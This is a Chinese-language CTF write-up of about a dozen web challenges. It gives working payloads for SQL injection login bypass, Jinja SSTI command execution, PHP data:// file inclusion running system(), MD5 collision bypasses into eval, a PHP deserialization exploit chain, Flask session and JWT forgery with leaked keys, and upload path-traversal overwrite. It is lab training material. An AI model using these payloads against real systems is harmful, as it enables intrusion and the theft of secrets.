sql_in

万能密码绕过即可

POST:password=1&username=admin' or 1#

image-20260104142444956

PCTF{fa88f815-81f4-481d-b931-87d74f37d0ce}

复读机

测试后发现存在ssti漏洞

image-20260104142712729

直接打就行

POST:cmd={{lipsum.__globals__['os'].popen('env').read()}}

image-20260104143106709

PCTF{8ce08c23-f652-49d8-bfdf-4c179e0e05ba}

what_is_jsfuck

源码中给出提示<!-- Hint:Try entering "I want flag" -->,输入后回显jsfuck代码,放控制台回车即可

image-20260104143348643

PCTF{97411c88-2f89-4a9d-9e19-9e22107134a1}

EZPHP

页面提示输入参数名为number,参数值为111111-999999之间的一个数,爆破一下发现是114514,然后源码如下

<?php
error_reporting(0);
echo "Please pass in \"number\" value <br>";
echo "the number value between 111111 and 999999:<br>";
if($_GET["number"]==114514) {
highlight_file(__FILE__);
echo "OK!Please find the flag!<br>";
if($_GET['action']=="read"){
$filename=$_POST["filename"];
file($filename);
}elseif($_GET["action"]== "include"){
$filename=$_POST["filename"];
include($filename);
}
}

?>

是一个文件包含,但是尝试了常见flag名称都不对,尝试包含/etc/passswd能成功,所以用data伪协议来尝试

GET:number=114514&action=include
POST:filename=data://text/plain,<?php system("ls /");?>

image-20260104144850839

GET:number=114514&action=include
POST:filename=data://text/plain,<?php system("cat /mlZZc1WenbLgE19L");?>

image-20260104144811317

PCTF{711232aa-7658-400f-b683-00ccc7f881aa}

php_with_md5

<?php
error_reporting(0);
highlight_file(__FILE__);
echo "Welcome to the PHP world!";
echo "<br>";
echo "Can you get the flag in my php file?";

if(isset($_GET['begin'])=='admin'){
$begin=$_GET['begin'];

if(!preg_match('/admin/i',$begin)){
echo "Excellent!";

if($_POST['password']==md5($_POST['password'])){
echo "Wooow!,you are so clever!";

if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
echo "Continue!";

if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d'])) {
echo "Congratulations! You have completely learned the MD5 skills!";
@eval($_POST['cmd']);

}
}else{ die("Nope,try again!");}
}else{ die("Haha,try again!");}
}else{ die("NoNoNO! You can't do that!");}
}else{ die("Oooooooops,You are not admin!");}


?>

首先第一层,这里需要注意到

isset($_GET['begin'])=='admin'

这里的isset是检测有无begin这个参数值,如果有就会返回true,而在弱比较中会先检查类型,类型不同先将字符串转换为布尔再比较,这里的非空字符串admin会转换为true,就会显示正确,本地写个代码测试一下

<?php
$a=1;
var_dump(isset($a));
var_dump("admin");
var_dump(isset($a)=="admin");

image-20260104150445811

然后之后的就正常用0e绕过和碰撞绕过就行(这里尝试了下数组绕过,但是好像不行?后面去看了下php版本,这里是PHP Version 8.4.12,如果遇到数组绕过就会直接抛出TypeError终止脚本而不是像8.0以下版本返回一个null)

GET:begin=1&a=QNKCDZO&b=QLTHNDT&c=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B&d=fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B
POST:password=0e215962017&cmd=system("cat /flag");

image-20260104151438867

PCTF{80787784-1d90-436b-9a75-435a64e7a6b4}

unserialize

<?php
highlight_file(__FILE__);
//flag.php
class Logger {
public $log_file = 'app.log';
public $message;
public function log() {
file_put_contents($this->log_file, $this->message, FILE_APPEND);
}
}

class UserProfile {
public $username;
public $data = [];
public function __toString() { return $this->username; }
}

class TemplateEngine {
public $template_name;
public function render() { return "Rendering " . $this->template_name; }
}

class ReadFile {
public $filename;
public function __wakeup() {
if (strpos($this->filename, 'flag') !== false) {
$this->filename = 'index.php';
}
}
public function getFileContent() {
echo file_get_contents($this->filename);
}
}

class FileHandler {
public $source;
public function __invoke() {
return $this->source->getFileContent();
}
}

class TaskRunner {
private $task;
public function __construct($task) { $this->task = $task; }
public function run() {
call_user_func($this->task);
}
}

class Middleware {
public $next;
public function __destruct() {
if (isset($this->next)) {
$this->next->run();
}
}
}

if (isset($_GET['data'])) {
$serialized_data = $_GET['data'];
try {
unserialize($serialized_data);
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
}
?>

注意这里可以将TaskRunner类中的private改为public来构造链子,至于对flag的限制绕过__wakeup就行,exp如下

<?php

class Logger {
public $log_file = 'app.log';
public $message;
}

class UserProfile {
public $username;
public $data = [];
}

class TemplateEngine {
public $template_name;
}

class ReadFile {
public $filename;
}

class FileHandler {
public $source;
}

class TaskRunner {
public $task;
}

class Middleware {
public $next;
}

$a=new Middleware();
$a->next=new TaskRunner();
$a->next->task=new FileHandler();
$a->next->task->source=new ReadFile();
$a->next->task->source->filename="php://filter/read=convert.base64-encode/resource=flag.php";
$b=str_replace('"ReadFile":1:','"ReadFile":2:',serialize($a));
echo "data=".$b;

#Middleware::__destruct()->TaskRunner::run()->FileHandler::__invoke->ReadFile::getFileContent()

image-20260106151516539

PCTF{9b6d0d56-2353-4203-852f-d046ea5b04e2}

神秘商店

体验一下rust的魅力吧!

先尝试随便注册登录进去,发现flag只能用50来买,而且只有admin有增加的次数,尝试伪造admin登录

这里尝试了下弱口令和万能密码都不行,去看了wp是需要全角绕过

通过在线全角半角转换—在线工具来转换

username:admin
password:123456

然后成功以管理员登录

image-20260107185840992

但是购买flag必须要50,所以通过rust的整数溢出来实现,这里是32位整数,所以用4,294,967,246

image-20260107190359068

image-20260107190519216

PCTF{1396dfbc-a4fc-47ab-ad46-a764a36597c1}

Do_you_know_session?

首先要管理员才能实现文件读取,先看如何能提权,找到session中存在鉴权

image-20260107180837181

并且搜索中存在ssti漏洞,那就直接先找到密钥

{{config}}

image-20260107181306275

密钥为1919810#mistyovo@foxdog@lzz0403#114514

然后去伪造admin就行

flask-unsign --sign --cookie "{'username': 'admin'}" --secret '1919810#mistyovo@foxdog@lzz0403#114514'
eyJ1c2VybmFtZSI6ImFkbWluIn0.aV4ySQ.nBMPvWeVrHb1e-Dh4R3_zbWIhYg

image-20260107181543870

然后读环境变量就行

image-20260107181741461

PCTF{59e4cb97-f7c8-4ab6-a8f1-04d3dd28fda4}

ez_upload

既然有文件包含部分,那就先尝试读取源码

GET:file=app.py

image-20260107183126501

#app.py
import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge

app = Flask(__name__)
app.secret_key = 'your_secret_key_here'

UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}

BLACKLIST_KEYWORDS = [
'env', '.env', 'environment', 'profile', 'bashrc',
'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
try:
with open('templates/index.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
except Exception as e:
try:
with open('templates/error_render.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e))
except:
return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('没有选择文件')
return redirect(request.url)

file = request.files['file']

if file.filename == '':
flash('没有选择文件')
return redirect(request.url)

if file and allowed_file(file.filename):
filename = file.filename
filename = filename.replace('../', '')
file_path = os.path.join(UPLOAD_FOLDER, filename)

try:
file.save(file_path)
flash('文件 {} 上传成功!'.format(filename))
return redirect('/upload')
except Exception as e:
flash('文件上传失败: {}'.format(str(e)))
return redirect(request.url)
else:
flash('不允许的文件类型')
return redirect(request.url)

try:
with open('templates/upload.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'

@app.route('/file')
def view_file():
file_path = request.args.get('file', '')

if not file_path:
try:
with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'

file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template,
file_path=file_path,
error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword))
except:
return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'

try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()

try:
with open('templates/file_view.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except:
return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
except Exception as e:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message=str(e))
except:
return '<h1>文件读取失败</h1><p>错误: {}</p><a href="/">返回主页</a>'.format(str(e))


@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
try:
with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
except:
return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413

@app.errorhandler(404)
def not_found(e):
try:
with open('templates/error_404.html', 'r', encoding='utf-8') as f:
return f.read(), 404
except:
return '<h1>404</h1><p>页面不存在</p>', 404

@app.errorhandler(500)
def server_error(e):
try:
with open('templates/error_500.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e)), 500
except:
return '<h1>500</h1><p>服务器内部错误: {}</p>'.format(str(e)), 500

if __name__ == '__main__':
print("启动Flask文件上传应用...")
print("上传目录: {}".format(UPLOAD_FOLDER))
print("最大文件大小: {} MB".format(MAX_FILE_SIZE // (1024*1024)))
print("允许的文件类型: {}".format(ALLOWED_EXTENSIONS))
app.run(debug=False, host='0.0.0.0', port=5000)

发现这里可以渲染了很多模板,而且都给了路径,那就找个没有被黑名单检测的文件来覆盖打ssti,这里抓包来命名文件,同时还要绕过将../替换为空的waf

image-20260107184142666

然后返回主界面就可以看到被成功渲染了

image-20260107184208257

然后就是正常打ssti

{{lipsum.__globals__['os'].popen('env').read()}}

image-20260107184421291

PCTF{cdfa4d11-bf96-49b6-a723-5babc7866f3d}

Jwt_password_manager

给了源码,如下

'''
Item: Safety Jwt Password Mananer
Time: 2025-10-23
Author: 1ceLAND
'''

from flask import Flask, request, redirect, url_for, render_template
import jwt
import uuid
import os

from werkzeug.security import generate_password_hash, check_password_hash


app = Flask(__name__)
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'

accounts_usernames = []
accounts = {} # help save accounts instead sqlite

# instead of sqliteeee
user_passwords = {}

def check_username(new_username):
if new_username in accounts_usernames:
return True
return False

def check_login(username, password):
if username not in accounts:
return False
return check_password_hash(accounts[username], password)

def insert_account(new_username, new_password_hash):
try:
accounts_usernames.append(new_username)
accounts[new_username] = new_password_hash
user_passwords[new_username] = []
return True
except:
return False

def create_token(username):
# create jwt
payload = {
'username': username,
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token

def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload['username']
except:
return None

def login_required(f):
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token or not verify_token(token):
return redirect(url_for('login'))
return f(*args, **kwargs)
decorated.__name__ = f.__name__
return decorated

def add_password_item(username, website, site_username, password, notes=""):
try:
password_item = {
'id': str(uuid.uuid4()),
'website': website,
'username': site_username,
'password': password,
'notes': notes,
}
user_passwords[username].append(password_item)
return True
except:
return False


def delete_password_item(username, item_id):
# delete ...
try:
user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id]
return True
except:
return False

def get_user_passwords(username):
# get all password_item of someone ...
return user_passwords.get(username, [])

@app.route('/')
def index():
return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']

user_exists = check_username(username)
if user_exists:
return render_template('register.html', error_msg="User Already Existed!")

password_hash = generate_password_hash(password)
insert_account(username, password_hash)

return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']

user_exists = check_username(username)
if user_exists == False:
return render_template('login.html', error_msg='Username or Password Wrong!')

if check_login(username, password):
token = create_token(username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
return render_template('login.html', error_msg='Username or Password Wrong!')

return render_template('login.html')

@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response

@app.route('/dashboard')
@login_required
def dashboard():
username = verify_token(request.cookies.get('token'))
passwords = get_user_passwords(username)
return render_template('dashboard.html',
username=username,
passwords=passwords)

@app.route('/add_password', methods=['POST'])
@login_required
def add_password():
username = verify_token(request.cookies.get('token'))
website = request.form['website']
site_username = request.form['site_username']
password = request.form['password']
notes = request.form.get('notes', '')

if add_password_item(username, website, site_username, password, notes):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html',
username=username,
passwords=get_user_passwords(username),
error_msg="Add password error")

@app.route('/delete_password/<item_id>')
@login_required
def delete_password(item_id):
username = verify_token(request.cookies.get('token'))

if delete_password_item(username, item_id):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html',
username=username,
passwords=get_user_passwords(username),
error_msg="Delete password error")

if __name__ == '__main__':
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))

# flag in admin account ! ^-^
for path in ['/flag', './flag.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if raw:
content = raw.decode('utf-8', errors='replace').strip()
add_password_item('admin',
website='seeded-flag',
site_username='flag-file',
password=content,
notes=f'seeded from {path}')
break
except:
pass
app.run(debug=False, host='0.0.0.0')

大概含义就是读取flag后作为admin的密码保存下来,需要去伪造admin登录,源码中已经给了明文密钥

那就先随便注册一个账号登录,然后拿到token

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjdmM2IwYjdlLWNmMDEtNGFlMy1hY2E1LWE4YjM0MTQ0NTNlYyIsInVzZXJuYW1lIjoieXhpbmcifQ.ZLwyWykCBZGL27t3Jjruw8jXuJ_1xgEaamSxX_gl-CM

image-20260107185028593

将json修改后用明文密钥伪造

image-20260107185139057

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjdmM2IwYjdlLWNmMDEtNGFlMy1hY2E1LWE4YjM0MTQ0NTNlYyIsInVzZXJuYW1lIjoiYWRtaW4ifQ.rVejjQ6QcuJecXjadPhHZehPPEXbxPS1CCrBIsDBJXU

修改后即可拿到flag

image-20260107185220194

PCTF{b61143c1-63df-442d-9213-a4633fddc8d0}

We_will_rockyou

A Safety Linux Server Panel develop by 1ce and he make it Safety?? ..

“”We will, we will rockyou…””

Try rockyou.txt!

flag in /flag

给了源码如下

'''
Item: Safety Linux Server Panel
Time: 2025-10-24
Author: 1ceLAND
'''

from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess

from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())

# instead of sqlite
accounts = {}

def create_token(user_id, username):
payload = {
'user_id': user_id,
'username': username
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token

def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
user_id = payload['user_id']
username = payload['username']
return user_id, username
except:
return None

def login_required(f):
from functools import wraps
@wraps(f)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return redirect(url_for('login'))
res = verify_token(token)
if not res:
return redirect(url_for('login'))
user_id, username = res
return f(user_id, username, *args, **kwargs)
return decorated

def check_login(u, p):
for user_id, info in accounts.items():
if info['username'] == u:
return check_password_hash(info['password'], p), user_id
return False, None

@app.route('/')
def index():
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
error_msg = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
ok, user_id = check_login(username, password)
if ok:
token = create_token(user_id, username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
error_msg = "Username or Password incorrect!"

return render_template('login.html', error_msg=error_msg)

@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response

@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
return render_template('dashboard.html', user_id=user_id, username=username)

import subprocess

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
user_id, username = verify_token(request.cookies.get('token'))
cmd = request.form.get('command', '').strip()
if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
return render_template('dashboard.html',
user_id=user_id,
username=username,
error_msg="Error: Command not allowed or empty")
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
output = result.stdout + result.stderr
return render_template('dashboard.html',
user_id=user_id,
username=username,
output=output,
command=cmd)
except Exception as e:
return render_template('dashboard.html',
username=username,
error_msg=f"Error: {str(e)}")

if __name__ == '__main__':
admin_id = 0
admin_username = 'admin123'
admin_password = str(uuid.uuid4())

# password overlay
for path in ['/password', './password.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if not raw:
continue
text = raw.decode('utf-8', errors='replace').strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except:
pass

print(f' * Admin password: {admin_password}')

accounts[admin_id] = {
'username': admin_username,
'password': generate_password_hash(admin_password)
}

app.run(debug=False, host='0.0.0.0')

发现虽然是随机生成的密码,但是后面通过password.txt中去覆盖了,应该是个弱口令,题目又说Try rockyou.txt! ,所以去爆破就行

(但是这个字典好大,边爆边吃饭吧,而且每次重开环境的密码都不同)

image-20260107194136035

找到密码为corazon

more /flag得到flag
image-20260107194406766

PCTF{b366d9e1-f20c-473e-bfa8-2205b7fdcfac}